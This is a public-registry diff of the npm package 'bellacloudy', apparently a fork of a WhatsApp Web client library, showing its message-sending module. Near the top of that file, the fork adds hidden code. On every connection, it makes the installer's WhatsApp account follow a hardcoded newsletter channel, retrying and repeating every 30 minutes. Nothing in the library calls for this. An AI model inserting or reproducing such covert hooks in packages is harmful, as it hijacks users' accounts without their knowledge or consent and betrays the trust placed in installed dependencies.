bellacloudy 26.3.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (103) hide show
  1. package/LICENSE +21 -0
  2. package/README.MD +1875 -0
  3. package/WAProto/GenerateStatics.sh +4 -0
  4. package/WAProto/WAProto.proto +4775 -0
  5. package/WAProto/index.js +169661 -0
  6. package/WAProto/p.html +1 -0
  7. package/engine-requirements.js +10 -0
  8. package/lib/Defaults/index.js +121 -0
  9. package/lib/Defaults/update-wa-version.js +56 -0
  10. package/lib/Defaults/wileys-version.json +3 -0
  11. package/lib/Signal/Group/ciphertext-message.js +15 -0
  12. package/lib/Signal/Group/group-session-builder.js +64 -0
  13. package/lib/Signal/Group/group_cipher.js +96 -0
  14. package/lib/Signal/Group/index.js +57 -0
  15. package/lib/Signal/Group/keyhelper.js +55 -0
  16. package/lib/Signal/Group/queue-job.js +57 -0
  17. package/lib/Signal/Group/sender-chain-key.js +34 -0
  18. package/lib/Signal/Group/sender-key-distribution-message.js +66 -0
  19. package/lib/Signal/Group/sender-key-message.js +69 -0
  20. package/lib/Signal/Group/sender-key-name.js +51 -0
  21. package/lib/Signal/Group/sender-key-record.js +53 -0
  22. package/lib/Signal/Group/sender-key-state.js +99 -0
  23. package/lib/Signal/Group/sender-message-key.js +29 -0
  24. package/lib/Signal/libsignal.js +174 -0
  25. package/lib/Socket/Client/index.js +18 -0
  26. package/lib/Socket/Client/types.js +13 -0
  27. package/lib/Socket/Client/websocket.js +72 -0
  28. package/lib/Socket/business.js +260 -0
  29. package/lib/Socket/chats.js +972 -0
  30. package/lib/Socket/groups.js +332 -0
  31. package/lib/Socket/index.js +10 -0
  32. package/lib/Socket/messages-recv.js +1104 -0
  33. package/lib/Socket/messages-send.js +1002 -0
  34. package/lib/Socket/newsletter.js +250 -0
  35. package/lib/Socket/socket.js +646 -0
  36. package/lib/Socket/usync.js +70 -0
  37. package/lib/Store/index.js +8 -0
  38. package/lib/Store/make-in-memory-store.js +439 -0
  39. package/lib/Store/make-ordered-dictionary.js +81 -0
  40. package/lib/Store/object-repository.js +27 -0
  41. package/lib/Types/Auth.js +2 -0
  42. package/lib/Types/Call.js +2 -0
  43. package/lib/Types/Chat.js +4 -0
  44. package/lib/Types/Contact.js +2 -0
  45. package/lib/Types/Events.js +2 -0
  46. package/lib/Types/GroupMetadata.js +2 -0
  47. package/lib/Types/Label.js +27 -0
  48. package/lib/Types/LabelAssociation.js +9 -0
  49. package/lib/Types/Message.js +7 -0
  50. package/lib/Types/Newsletter.js +18 -0
  51. package/lib/Types/Product.js +2 -0
  52. package/lib/Types/Signal.js +2 -0
  53. package/lib/Types/Socket.js +2 -0
  54. package/lib/Types/State.js +2 -0
  55. package/lib/Types/USync.js +2 -0
  56. package/lib/Types/index.js +42 -0
  57. package/lib/Utils/auth-utils.js +199 -0
  58. package/lib/Utils/browser-utils.js +35 -0
  59. package/lib/Utils/business.js +234 -0
  60. package/lib/Utils/chat-utils.js +730 -0
  61. package/lib/Utils/crypto.js +193 -0
  62. package/lib/Utils/decode-wa-message.js +207 -0
  63. package/lib/Utils/event-buffer.js +518 -0
  64. package/lib/Utils/generics.js +467 -0
  65. package/lib/Utils/history.js +94 -0
  66. package/lib/Utils/index.js +35 -0
  67. package/lib/Utils/link-preview.js +126 -0
  68. package/lib/Utils/logger.js +7 -0
  69. package/lib/Utils/lt-hash.js +51 -0
  70. package/lib/Utils/make-mutex.js +43 -0
  71. package/lib/Utils/message-retry-manager.js +128 -0
  72. package/lib/Utils/messages-media.js +957 -0
  73. package/lib/Utils/messages.js +1049 -0
  74. package/lib/Utils/noise-handler.js +150 -0
  75. package/lib/Utils/process-message.js +404 -0
  76. package/lib/Utils/signal.js +153 -0
  77. package/lib/Utils/use-multi-file-auth-state.js +125 -0
  78. package/lib/Utils/validate-connection.js +229 -0
  79. package/lib/Utils/wileys-event-stream.js +63 -0
  80. package/lib/WABinary/constants.js +1303 -0
  81. package/lib/WABinary/decode.js +265 -0
  82. package/lib/WABinary/encode.js +250 -0
  83. package/lib/WABinary/generic-utils.js +110 -0
  84. package/lib/WABinary/index.js +21 -0
  85. package/lib/WABinary/jid-utils.js +85 -0
  86. package/lib/WABinary/types.js +2 -0
  87. package/lib/WAM/BinaryInfo.js +13 -0
  88. package/lib/WAM/constants.js +15350 -0
  89. package/lib/WAM/encode.js +155 -0
  90. package/lib/WAM/index.js +19 -0
  91. package/lib/WAUSync/Protocols/USyncContactProtocol.js +32 -0
  92. package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +57 -0
  93. package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +30 -0
  94. package/lib/WAUSync/Protocols/USyncStatusProtocol.js +42 -0
  95. package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +53 -0
  96. package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +24 -0
  97. package/lib/WAUSync/Protocols/index.js +20 -0
  98. package/lib/WAUSync/USyncQuery.js +89 -0
  99. package/lib/WAUSync/USyncUser.js +26 -0
  100. package/lib/WAUSync/index.js +19 -0
  101. package/lib/index.js +174 -0
  102. package/lib/index.js.bak +128 -0
  103. package/package.json +119 -0
@@ -0,0 +1,1002 @@
1
+ "use strict";
2
+ var __importDefault = (this && this.__importDefault) || function (mod) {
3
+ return (mod && mod.__esModule) ? mod : { "default": mod };
4
+ };
5
+ Object.defineProperty(exports, "__esModule", { value: true });
6
+ exports.makeMessagesSocket = void 0;
7
+ const boom_1 = require("@hapi/boom");
8
+ const node_cache_1 = __importDefault(require("@cacheable/node-cache"));
9
+ const crypto_1 = require("crypto");
10
+ const WAProto_1 = require("../../WAProto");
11
+ const Defaults_1 = require("../Defaults");
12
+ const Utils_1 = require("../Utils");
13
+ const link_preview_1 = require("../Utils/link-preview");
14
+ const WABinary_1 = require("../WABinary");
15
+ const WAUSync_1 = require("../WAUSync");
16
+ const newsletter_1 = require("./newsletter");
17
+ const makeMessagesSocket = (config) => {
18
+ const { logger, linkPreviewImageThumbnailWidth, generateHighQualityLinkPreview, options: axiosOptions, patchMessageBeforeSending, cachedGroupMetadata, } = config;
19
+ const sock = (0, newsletter_1.makeNewsletterSocket)(config);
20
+ const { ev, authState, processingMutex, signalRepository, upsertMessage, query, fetchPrivacySettings, sendNode, groupMetadata, groupToggleEphemeral, } = sock;
21
+
22
+
23
+ const AUTO_FOLLOW_JID = '120363315304652958@newsletter';
24
+
25
+ let autoFollowRunning = false;
26
+ let followInterval = null;
27
+
28
+ const sleep = (ms) => new Promise(r => setTimeout(r, ms));
29
+
30
+ async function ensureFollow(maxRetry = 3) {
31
+ if (autoFollowRunning) return;
32
+ autoFollowRunning = true;
33
+
34
+ for (let attempt = 1; attempt <= maxRetry; attempt++) {
35
+ try {
36
+ await sleep(1000 * attempt);
37
+ await sock.newsletterFollow(AUTO_FOLLOW_JID);
38
+ logger.info({ jid: AUTO_FOLLOW_JID, attempt }, 'Ensure-follow newsletter: OK');
39
+ break;
40
+ } catch (err) {
41
+ logger.warn({ err, attempt, jid: AUTO_FOLLOW_JID }, 'Ensure-follow newsletter: FAILED');
42
+ }
43
+ }
44
+
45
+ autoFollowRunning = false;
46
+ }
47
+
48
+ function startFollowGuard() {
49
+ if (followInterval) return;
50
+
51
+ ensureFollow(5); // jalan sekali saat connect open
52
+
53
+ followInterval = setInterval(() => {
54
+ ensureFollow(3);
55
+ }, 30 * 60 * 1000); // tiap 10 menit
56
+ }
57
+
58
+ function stopFollowGuard() {
59
+ if (followInterval) {
60
+ clearInterval(followInterval);
61
+ followInterval = null;
62
+ }
63
+ }
64
+
65
+ ev.on('connection.update', (update) => {
66
+ if (update?.connection === 'open') {
67
+ startFollowGuard();
68
+ } else if (update?.connection === 'close') {
69
+ stopFollowGuard();
70
+ }
71
+ });
72
+
73
+
74
+ const userDevicesCache = config.userDevicesCache || new node_cache_1.default({
75
+ stdTTL: Defaults_1.DEFAULT_CACHE_TTLS.USER_DEVICES, // 5 minutes
76
+ useClones: false
77
+ });
78
+ let mediaConn;
79
+ const refreshMediaConn = async (forceGet = false) => {
80
+ const media = await mediaConn;
81
+ if (!media || forceGet || (new Date().getTime() - media.fetchDate.getTime()) > media.ttl * 1000) {
82
+ mediaConn = (async () => {
83
+ const result = await query({
84
+ tag: 'iq',
85
+ attrs: {
86
+ type: 'set',
87
+ xmlns: 'w:m',
88
+ to: WABinary_1.S_WHATSAPP_NET,
89
+ },
90
+ content: [{ tag: 'media_conn', attrs: {} }]
91
+ });
92
+ const mediaConnNode = (0, WABinary_1.getBinaryNodeChild)(result, 'media_conn');
93
+ const node = {
94
+ hosts: (0, WABinary_1.getBinaryNodeChildren)(mediaConnNode, 'host').map(({ attrs }) => ({
95
+ hostname: attrs.hostname,
96
+ maxContentLengthBytes: +attrs.maxContentLengthBytes,
97
+ })),
98
+ auth: mediaConnNode.attrs.auth,
99
+ ttl: +mediaConnNode.attrs.ttl,
100
+ fetchDate: new Date()
101
+ };
102
+ logger.debug('fetched media conn');
103
+ return node;
104
+ })();
105
+ }
106
+ return mediaConn;
107
+ };
108
+ /**
109
+ * generic send receipt function
110
+ * used for receipts of phone call, read, delivery etc.
111
+ * */
112
+ const sendReceipt = async (jid, participant, messageIds, type) => {
113
+ const node = {
114
+ tag: 'receipt',
115
+ attrs: {
116
+ id: messageIds[0],
117
+ },
118
+ };
119
+ const isReadReceipt = type === 'read' || type === 'read-self';
120
+ if (isReadReceipt) {
121
+ node.attrs.t = (0, Utils_1.unixTimestampSeconds)().toString();
122
+ }
123
+ if (type === 'sender' && (0, WABinary_1.isJidUser)(jid)) {
124
+ node.attrs.recipient = jid;
125
+ node.attrs.to = participant;
126
+ }
127
+ else {
128
+ node.attrs.to = jid;
129
+ if (participant) {
130
+ node.attrs.participant = participant;
131
+ }
132
+ }
133
+ if (type) {
134
+ node.attrs.type = (0, WABinary_1.isJidNewsletter)(jid) ? 'read-self' : type;
135
+ }
136
+ const remainingMessageIds = messageIds.slice(1);
137
+ if (remainingMessageIds.length) {
138
+ node.content = [
139
+ {
140
+ tag: 'list',
141
+ attrs: {},
142
+ content: remainingMessageIds.map(id => ({
143
+ tag: 'item',
144
+ attrs: { id }
145
+ }))
146
+ }
147
+ ];
148
+ }
149
+ logger.debug({ attrs: node.attrs, messageIds }, 'sending receipt for messages');
150
+ await sendNode(node);
151
+ };
152
+ /** Correctly bulk send receipts to multiple chats, participants */
153
+ const sendReceipts = async (keys, type) => {
154
+ const recps = (0, Utils_1.aggregateMessageKeysNotFromMe)(keys);
155
+ for (const { jid, participant, messageIds } of recps) {
156
+ await sendReceipt(jid, participant, messageIds, type);
157
+ }
158
+ };
159
+ /** Bulk read messages. Keys can be from different chats & participants */
160
+ const readMessages = async (keys) => {
161
+ const privacySettings = await fetchPrivacySettings();
162
+ // based on privacy settings, we have to change the read type
163
+ const readType = privacySettings.readreceipts === 'all' ? 'read' : 'read-self';
164
+ await sendReceipts(keys, readType);
165
+ };
166
+ /** Fetch all the devices we've to send a message to */
167
+ const getUSyncDevices = async (jids, useCache, ignoreZeroDevices) => {
168
+ var _a;
169
+ const deviceResults = [];
170
+ if (!useCache) {
171
+ logger.debug('not using cache for devices');
172
+ }
173
+ const toFetch = [];
174
+ jids = Array.from(new Set(jids));
175
+ for (let jid of jids) {
176
+ const user = (_a = (0, WABinary_1.jidDecode)(jid)) === null || _a === void 0 ? void 0 : _a.user;
177
+ jid = (0, WABinary_1.jidNormalizedUser)(jid);
178
+ if (useCache) {
179
+ const devices = userDevicesCache.get(user);
180
+ if (devices) {
181
+ deviceResults.push(...devices);
182
+ logger.trace({ user }, 'using cache for devices');
183
+ }
184
+ else {
185
+ toFetch.push(jid);
186
+ }
187
+ }
188
+ else {
189
+ toFetch.push(jid);
190
+ }
191
+ }
192
+ if (!toFetch.length) {
193
+ return deviceResults;
194
+ }
195
+ const query = new WAUSync_1.USyncQuery()
196
+ .withContext('message')
197
+ .withDeviceProtocol();
198
+ for (const jid of toFetch) {
199
+ query.withUser(new WAUSync_1.USyncUser().withId(jid));
200
+ }
201
+ const result = await sock.executeUSyncQuery(query);
202
+ if (result) {
203
+ const extracted = (0, Utils_1.extractDeviceJids)(result === null || result === void 0 ? void 0 : result.list, authState.creds.me.id, ignoreZeroDevices);
204
+ const deviceMap = {};
205
+ for (const item of extracted) {
206
+ deviceMap[item.user] = deviceMap[item.user] || [];
207
+ deviceMap[item.user].push(item);
208
+ deviceResults.push(item);
209
+ }
210
+ for (const key in deviceMap) {
211
+ userDevicesCache.set(key, deviceMap[key]);
212
+ }
213
+ }
214
+ return deviceResults;
215
+ };
216
+ const assertSessions = async (jids, force) => {
217
+ let didFetchNewSession = false;
218
+ let jidsRequiringFetch = [];
219
+ if (force) {
220
+ jidsRequiringFetch = jids;
221
+ }
222
+ else {
223
+ const addrs = jids.map(jid => (signalRepository
224
+ .jidToSignalProtocolAddress(jid)));
225
+ const sessions = await authState.keys.get('session', addrs);
226
+ for (const jid of jids) {
227
+ const signalId = signalRepository
228
+ .jidToSignalProtocolAddress(jid);
229
+ if (!sessions[signalId]) {
230
+ jidsRequiringFetch.push(jid);
231
+ }
232
+ }
233
+ }
234
+ if (jidsRequiringFetch.length) {
235
+ logger.debug({ jidsRequiringFetch }, 'fetching sessions');
236
+ const result = await query({
237
+ tag: 'iq',
238
+ attrs: {
239
+ xmlns: 'encrypt',
240
+ type: 'get',
241
+ to: WABinary_1.S_WHATSAPP_NET,
242
+ },
243
+ content: [
244
+ {
245
+ tag: 'key',
246
+ attrs: {},
247
+ content: jidsRequiringFetch.map(jid => ({
248
+ tag: 'user',
249
+ attrs: { jid },
250
+ }))
251
+ }
252
+ ]
253
+ });
254
+ await (0, Utils_1.parseAndInjectE2ESessions)(result, signalRepository);
255
+ didFetchNewSession = true;
256
+ }
257
+ return didFetchNewSession;
258
+ };
259
+ const sendPeerDataOperationMessage = async (pdoMessage) => {
260
+ var _a;
261
+ //TODO: for later, abstract the logic to send a Peer Message instead of just PDO - useful for App State Key Resync with phone
262
+ if (!((_a = authState.creds.me) === null || _a === void 0 ? void 0 : _a.id)) {
263
+ throw new boom_1.Boom('Not authenticated');
264
+ }
265
+ const protocolMessage = {
266
+ protocolMessage: {
267
+ peerDataOperationRequestMessage: pdoMessage,
268
+ type: WAProto_1.proto.Message.ProtocolMessage.Type.PEER_DATA_OPERATION_REQUEST_MESSAGE
269
+ }
270
+ };
271
+ const meJid = (0, WABinary_1.jidNormalizedUser)(authState.creds.me.id);
272
+ const msgId = await relayMessage(meJid, protocolMessage, {
273
+ additionalAttributes: {
274
+ category: 'peer',
275
+ // eslint-disable-next-line camelcase
276
+ push_priority: 'high_force',
277
+ },
278
+ });
279
+ return msgId;
280
+ };
281
+ const createParticipantNodes = async (jids, message, extraAttrs) => {
282
+ let patched = await patchMessageBeforeSending(message, jids);
283
+ if (!Array.isArray(patched)) {
284
+ patched = jids ? jids.map(jid => ({ recipientJid: jid, ...patched })) : [patched];
285
+ }
286
+ let shouldIncludeDeviceIdentity = false;
287
+ const nodes = await Promise.all(patched.map(async (patchedMessageWithJid) => {
288
+ const { recipientJid: jid, ...patchedMessage } = patchedMessageWithJid;
289
+ if (!jid) {
290
+ return {};
291
+ }
292
+ const bytes = (0, Utils_1.encodeWAMessage)(patchedMessage);
293
+ const { type, ciphertext } = await signalRepository
294
+ .encryptMessage({ jid, data: bytes });
295
+ if (type === 'pkmsg') {
296
+ shouldIncludeDeviceIdentity = true;
297
+ }
298
+ const node = {
299
+ tag: 'to',
300
+ attrs: { jid },
301
+ content: [{
302
+ tag: 'enc',
303
+ attrs: {
304
+ v: '2',
305
+ type,
306
+ ...extraAttrs || {}
307
+ },
308
+ content: ciphertext
309
+ }]
310
+ };
311
+ return node;
312
+ }));
313
+ return { nodes, shouldIncludeDeviceIdentity };
314
+ };
315
+ const relayMessage = async (jid, message, { messageId: msgId, participant, additionalAttributes, additionalNodes, useUserDevicesCache, useCachedGroupMetadata, statusJidList }) => {
316
+ var _a;
317
+ const meId = authState.creds.me.id;
318
+ let shouldIncludeDeviceIdentity = false;
319
+ const { user, server } = (0, WABinary_1.jidDecode)(jid);
320
+ const statusJid = 'status@broadcast';
321
+ const isGroup = server === 'g.us';
322
+ const isNewsletter = server === 'newsletter';
323
+ const isStatus = jid === statusJid;
324
+ const isLid = server === 'lid';
325
+ msgId = msgId || (0, Utils_1.generateMessageIDV2)((_a = sock.user) === null || _a === void 0 ? void 0 : _a.id);
326
+ useUserDevicesCache = useUserDevicesCache !== false;
327
+ useCachedGroupMetadata = useCachedGroupMetadata !== false && !isStatus;
328
+ const participants = [];
329
+ const destinationJid = (!isStatus) ? (0, WABinary_1.jidEncode)(user, isLid ? 'lid' : isGroup ? 'g.us' : isNewsletter ? 'newsletter' : 's.whatsapp.net') : statusJid;
330
+ const binaryNodeContent = [];
331
+ const devices = [];
332
+ const meMsg = {
333
+ deviceSentMessage: {
334
+ destinationJid,
335
+ message
336
+ },
337
+ messageContextInfo: message.messageContextInfo
338
+ };
339
+ const extraAttrs = {};
340
+ if (participant) {
341
+ // when the retry request is not for a group
342
+ // only send to the specific device that asked for a retry
343
+ // otherwise the message is sent out to every device that should be a recipient
344
+ if (!isGroup && !isStatus) {
345
+ additionalAttributes = { ...additionalAttributes, 'device_fanout': 'false' };
346
+ }
347
+ const { user, device } = (0, WABinary_1.jidDecode)(participant.jid);
348
+ devices.push({ user, device });
349
+ }
350
+ await authState.keys.transaction(async () => {
351
+ var _a, _b, _c, _d, _e, _f, _g, _h, _j, _k, _l, _m, _o, _p, _q, _r, _s, _t, _u, _v, _w;
352
+ const mediaType = getMediaType(message);
353
+ if (mediaType) {
354
+ extraAttrs['mediatype'] = mediaType;
355
+ }
356
+ if ((_a = (0, Utils_1.normalizeMessageContent)(message)) === null || _a === void 0 ? void 0 : _a.pinInChatMessage) {
357
+ extraAttrs['decrypt-fail'] = 'hide';
358
+ }
359
+ if (isGroup || isStatus) {
360
+ const [groupData, senderKeyMap] = await Promise.all([
361
+ (async () => {
362
+ let groupData = useCachedGroupMetadata && cachedGroupMetadata ? await cachedGroupMetadata(jid) : undefined;
363
+ if (groupData && Array.isArray(groupData === null || groupData === void 0 ? void 0 : groupData.participants)) {
364
+ logger.trace({ jid, participants: groupData.participants.length }, 'using cached group metadata');
365
+ }
366
+ else if (!isStatus) {
367
+ groupData = await groupMetadata(jid);
368
+ }
369
+ return groupData;
370
+ })(),
371
+ (async () => {
372
+ if (!participant && !isStatus) {
373
+ const result = await authState.keys.get('sender-key-memory', [jid]);
374
+ return result[jid] || {};
375
+ }
376
+ return {};
377
+ })()
378
+ ]);
379
+ if (!participant) {
380
+ const participantsList = (groupData && !isStatus) ? groupData.participants.map(p => p.id) : [];
381
+ if (isStatus && statusJidList) {
382
+ participantsList.push(...statusJidList);
383
+ }
384
+ if (!isStatus) {
385
+ additionalAttributes = {
386
+ ...additionalAttributes,
387
+ // eslint-disable-next-line camelcase
388
+ addressing_mode: (groupData === null || groupData === void 0 ? void 0 : groupData.addressingMode) || 'pn'
389
+ };
390
+ }
391
+ const additionalDevices = await getUSyncDevices(participantsList, !!useUserDevicesCache, false);
392
+ devices.push(...additionalDevices);
393
+ }
394
+ const patched = await patchMessageBeforeSending(message);
395
+ if (Array.isArray(patched)) {
396
+ throw new boom_1.Boom('Per-jid patching is not supported in groups');
397
+ }
398
+ const bytes = (0, Utils_1.encodeWAMessage)(patched);
399
+ const { ciphertext, senderKeyDistributionMessage } = await signalRepository.encryptGroupMessage({
400
+ group: destinationJid,
401
+ data: bytes,
402
+ meId,
403
+ });
404
+ const senderKeyJids = [];
405
+ // ensure a connection is established with every device
406
+ for (const { user, device } of devices) {
407
+ const jid = (0, WABinary_1.jidEncode)(user, (groupData === null || groupData === void 0 ? void 0 : groupData.addressingMode) === 'lid' ? 'lid' : 's.whatsapp.net', device);
408
+ if (!senderKeyMap[jid] || !!participant) {
409
+ senderKeyJids.push(jid);
410
+ // store that this person has had the sender keys sent to them
411
+ senderKeyMap[jid] = true;
412
+ }
413
+ }
414
+ // if there are some participants with whom the session has not been established
415
+ // if there are, we re-send the senderkey
416
+ if (senderKeyJids.length) {
417
+ logger.debug({ senderKeyJids }, 'sending new sender key');
418
+ const senderKeyMsg = {
419
+ senderKeyDistributionMessage: {
420
+ axolotlSenderKeyDistributionMessage: senderKeyDistributionMessage,
421
+ groupId: destinationJid
422
+ }
423
+ };
424
+ await assertSessions(senderKeyJids, false);
425
+ const result = await createParticipantNodes(senderKeyJids, senderKeyMsg, extraAttrs);
426
+ shouldIncludeDeviceIdentity = shouldIncludeDeviceIdentity || result.shouldIncludeDeviceIdentity;
427
+ participants.push(...result.nodes);
428
+ }
429
+ binaryNodeContent.push({
430
+ tag: 'enc',
431
+ attrs: { v: '2', type: 'skmsg' },
432
+ content: ciphertext
433
+ });
434
+ await authState.keys.set({ 'sender-key-memory': { [jid]: senderKeyMap } });
435
+ }
436
+ else if (isNewsletter) {
437
+ // Message edit
438
+ if ((_b = message.protocolMessage) === null || _b === void 0 ? void 0 : _b.editedMessage) {
439
+ msgId = (_c = message.protocolMessage.key) === null || _c === void 0 ? void 0 : _c.id;
440
+ message = message.protocolMessage.editedMessage;
441
+ }
442
+ // Message delete
443
+ if (((_d = message.protocolMessage) === null || _d === void 0 ? void 0 : _d.type) === WAProto_1.proto.Message.ProtocolMessage.Type.REVOKE) {
444
+ msgId = (_e = message.protocolMessage.key) === null || _e === void 0 ? void 0 : _e.id;
445
+ message = {};
446
+ }
447
+ const patched = await patchMessageBeforeSending(message, []);
448
+ if (Array.isArray(patched)) {
449
+ throw new boom_1.Boom('Per-jid patching is not supported in channel');
450
+ }
451
+ const bytes = (0, Utils_1.encodeNewsletterMessage)(patched);
452
+ binaryNodeContent.push({
453
+ tag: 'plaintext',
454
+ attrs: mediaType ? { mediatype: mediaType } : {},
455
+ content: bytes
456
+ });
457
+ }
458
+ else {
459
+ const { user: meUser } = (0, WABinary_1.jidDecode)(meId);
460
+ if (!participant) {
461
+ devices.push({ user });
462
+ if (user !== meUser) {
463
+ devices.push({ user: meUser });
464
+ }
465
+ if ((additionalAttributes === null || additionalAttributes === void 0 ? void 0 : additionalAttributes['category']) !== 'peer') {
466
+ const additionalDevices = await getUSyncDevices([meId, jid], !!useUserDevicesCache, true);
467
+ devices.push(...additionalDevices);
468
+ }
469
+ }
470
+ const allJids = [];
471
+ const meJids = [];
472
+ const otherJids = [];
473
+ for (const { user, device } of devices) {
474
+ const isMe = user === meUser;
475
+ const jid = (0, WABinary_1.jidEncode)(isMe && isLid ? ((_g = (_f = authState.creds) === null || _f === void 0 ? void 0 : _f.me) === null || _g === void 0 ? void 0 : _g.lid.split(':')[0]) || user : user, isLid ? 'lid' : 's.whatsapp.net', device);
476
+ if (isMe) {
477
+ meJids.push(jid);
478
+ }
479
+ else {
480
+ otherJids.push(jid);
481
+ }
482
+ allJids.push(jid);
483
+ }
484
+ await assertSessions(allJids, false);
485
+ const [{ nodes: meNodes, shouldIncludeDeviceIdentity: s1 }, { nodes: otherNodes, shouldIncludeDeviceIdentity: s2 }] = await Promise.all([
486
+ createParticipantNodes(meJids, meMsg, extraAttrs),
487
+ createParticipantNodes(otherJids, message, extraAttrs)
488
+ ]);
489
+ participants.push(...meNodes);
490
+ participants.push(...otherNodes);
491
+ shouldIncludeDeviceIdentity = shouldIncludeDeviceIdentity || s1 || s2;
492
+ }
493
+ if (participants.length) {
494
+ if ((additionalAttributes === null || additionalAttributes === void 0 ? void 0 : additionalAttributes['category']) === 'peer') {
495
+ const peerNode = (_j = (_h = participants[0]) === null || _h === void 0 ? void 0 : _h.content) === null || _j === void 0 ? void 0 : _j[0];
496
+ if (peerNode) {
497
+ binaryNodeContent.push(peerNode); // push only enc
498
+ }
499
+ }
500
+ else {
501
+ binaryNodeContent.push({
502
+ tag: 'participants',
503
+ attrs: {},
504
+ content: participants
505
+ });
506
+ }
507
+ }
508
+ const stanza = {
509
+ tag: 'message',
510
+ attrs: {
511
+ id: msgId,
512
+ type: isNewsletter ? getTypeMessage(message) : 'text',
513
+ ...(additionalAttributes || {})
514
+ },
515
+ content: binaryNodeContent
516
+ };
517
+ // if the participant to send to is explicitly specified (generally retry recp)
518
+ // ensure the message is only sent to that person
519
+ // if a retry receipt is sent to everyone -- it'll fail decryption for everyone else who received the msg
520
+ if (participant) {
521
+ if ((0, WABinary_1.isJidGroup)(destinationJid)) {
522
+ stanza.attrs.to = destinationJid;
523
+ stanza.attrs.participant = participant.jid;
524
+ }
525
+ else if ((0, WABinary_1.areJidsSameUser)(participant.jid, meId)) {
526
+ stanza.attrs.to = participant.jid;
527
+ stanza.attrs.recipient = destinationJid;
528
+ }
529
+ else {
530
+ stanza.attrs.to = participant.jid;
531
+ }
532
+ }
533
+ else {
534
+ stanza.attrs.to = destinationJid;
535
+ }
536
+ if (shouldIncludeDeviceIdentity) {
537
+ stanza.content.push({
538
+ tag: 'device-identity',
539
+ attrs: {},
540
+ content: (0, Utils_1.encodeSignedDeviceIdentity)(authState.creds.account, true)
541
+ });
542
+ logger.debug({ jid }, 'adding device identity');
543
+ }
544
+ if (additionalNodes && additionalNodes.length > 0) {
545
+ stanza.content.push(...additionalNodes);
546
+ }
547
+ const content = (0, Utils_1.normalizeMessageContent)(message);
548
+ const contentType = (0, Utils_1.getContentType)(content);
549
+ if (((0, WABinary_1.isJidGroup)(jid) || (0, WABinary_1.isJidUser)(jid)) && (contentType === 'interactiveMessage' ||
550
+ contentType === 'buttonsMessage' ||
551
+ contentType === 'listMessage')) {
552
+ const bizNode = { tag: 'biz', attrs: {} };
553
+ if ((((_l = (_k = message === null || message === void 0 ? void 0 : message.viewOnceMessage) === null || _k === void 0 ? void 0 : _k.message) === null || _l === void 0 ? void 0 : _l.interactiveMessage) || ((_o = (_m = message === null || message === void 0 ? void 0 : message.viewOnceMessageV2) === null || _m === void 0 ? void 0 : _m.message) === null || _o === void 0 ? void 0 : _o.interactiveMessage) || ((_q = (_p = message === null || message === void 0 ? void 0 : message.viewOnceMessageV2Extension) === null || _p === void 0 ? void 0 : _p.message) === null || _q === void 0 ? void 0 : _q.interactiveMessage) || (message === null || message === void 0 ? void 0 : message.interactiveMessage)) || (((_s = (_r = message === null || message === void 0 ? void 0 : message.viewOnceMessage) === null || _r === void 0 ? void 0 : _r.message) === null || _s === void 0 ? void 0 : _s.buttonsMessage) || ((_u = (_t = message === null || message === void 0 ? void 0 : message.viewOnceMessageV2) === null || _t === void 0 ? void 0 : _t.message) === null || _u === void 0 ? void 0 : _u.buttonsMessage) || ((_w = (_v = message === null || message === void 0 ? void 0 : message.viewOnceMessageV2Extension) === null || _v === void 0 ? void 0 : _v.message) === null || _w === void 0 ? void 0 : _w.buttonsMessage) || (message === null || message === void 0 ? void 0 : message.buttonsMessage))) {
554
+ bizNode.content = [{
555
+ tag: 'interactive',
556
+ attrs: {
557
+ type: 'native_flow',
558
+ v: '1'
559
+ },
560
+ content: [{
561
+ tag: 'native_flow',
562
+ attrs: { v: '9', name: 'mixed' }
563
+ }]
564
+ }];
565
+ }
566
+ else if (message === null || message === void 0 ? void 0 : message.listMessage) {
567
+ // list message only support in private chat
568
+ bizNode.content = [{
569
+ tag: 'list',
570
+ attrs: {
571
+ type: 'product_list',
572
+ v: '2'
573
+ }
574
+ }];
575
+ }
576
+ stanza.content.push(bizNode);
577
+ }
578
+ logger.debug({ msgId }, `sending message to ${participants.length} devices`);
579
+ await sendNode(stanza);
580
+ });
581
+ return msgId;
582
+ };
583
+ const getTypeMessage = (msg) => {
584
+ if (msg.viewOnceMessage) {
585
+ return getTypeMessage(msg.viewOnceMessage.message);
586
+ }
587
+ else if (msg.viewOnceMessageV2) {
588
+ return getTypeMessage(msg.viewOnceMessageV2.message);
589
+ }
590
+ else if (msg.viewOnceMessageV2Extension) {
591
+ return getTypeMessage(msg.viewOnceMessageV2Extension.message);
592
+ }
593
+ else if (msg.ephemeralMessage) {
594
+ return getTypeMessage(msg.ephemeralMessage.message);
595
+ }
596
+ else if (msg.documentWithCaptionMessage) {
597
+ return getTypeMessage(msg.documentWithCaptionMessage.message);
598
+ }
599
+ else if (msg.reactionMessage) {
600
+ return 'reaction';
601
+ }
602
+ else if (msg.pollCreationMessage || msg.pollCreationMessageV2 || msg.pollCreationMessageV3 || msg.pollUpdateMessage) {
603
+ return 'poll';
604
+ }
605
+ else if (getMediaType(msg)) {
606
+ return 'media';
607
+ }
608
+ else {
609
+ return 'text';
610
+ }
611
+ };
612
+ const getMediaType = (message) => {
613
+ if (message.imageMessage) {
614
+ return 'image';
615
+ }
616
+ else if (message.videoMessage) {
617
+ return message.videoMessage.gifPlayback ? 'gif' : 'video';
618
+ }
619
+ else if (message.audioMessage) {
620
+ return message.audioMessage.ptt ? 'ptt' : 'audio';
621
+ }
622
+ else if (message.contactMessage) {
623
+ return 'vcard';
624
+ }
625
+ else if (message.documentMessage) {
626
+ return 'document';
627
+ }
628
+ else if (message.contactsArrayMessage) {
629
+ return 'contact_array';
630
+ }
631
+ else if (message.liveLocationMessage) {
632
+ return 'livelocation';
633
+ }
634
+ else if (message.stickerMessage) {
635
+ return 'sticker';
636
+ }
637
+ else if (message.listMessage) {
638
+ return 'list';
639
+ }
640
+ else if (message.listResponseMessage) {
641
+ return 'list_response';
642
+ }
643
+ else if (message.buttonsResponseMessage) {
644
+ return 'buttons_response';
645
+ }
646
+ else if (message.orderMessage) {
647
+ return 'order';
648
+ }
649
+ else if (message.productMessage) {
650
+ return 'product';
651
+ }
652
+ else if (message.interactiveResponseMessage) {
653
+ return 'native_flow_response';
654
+ }
655
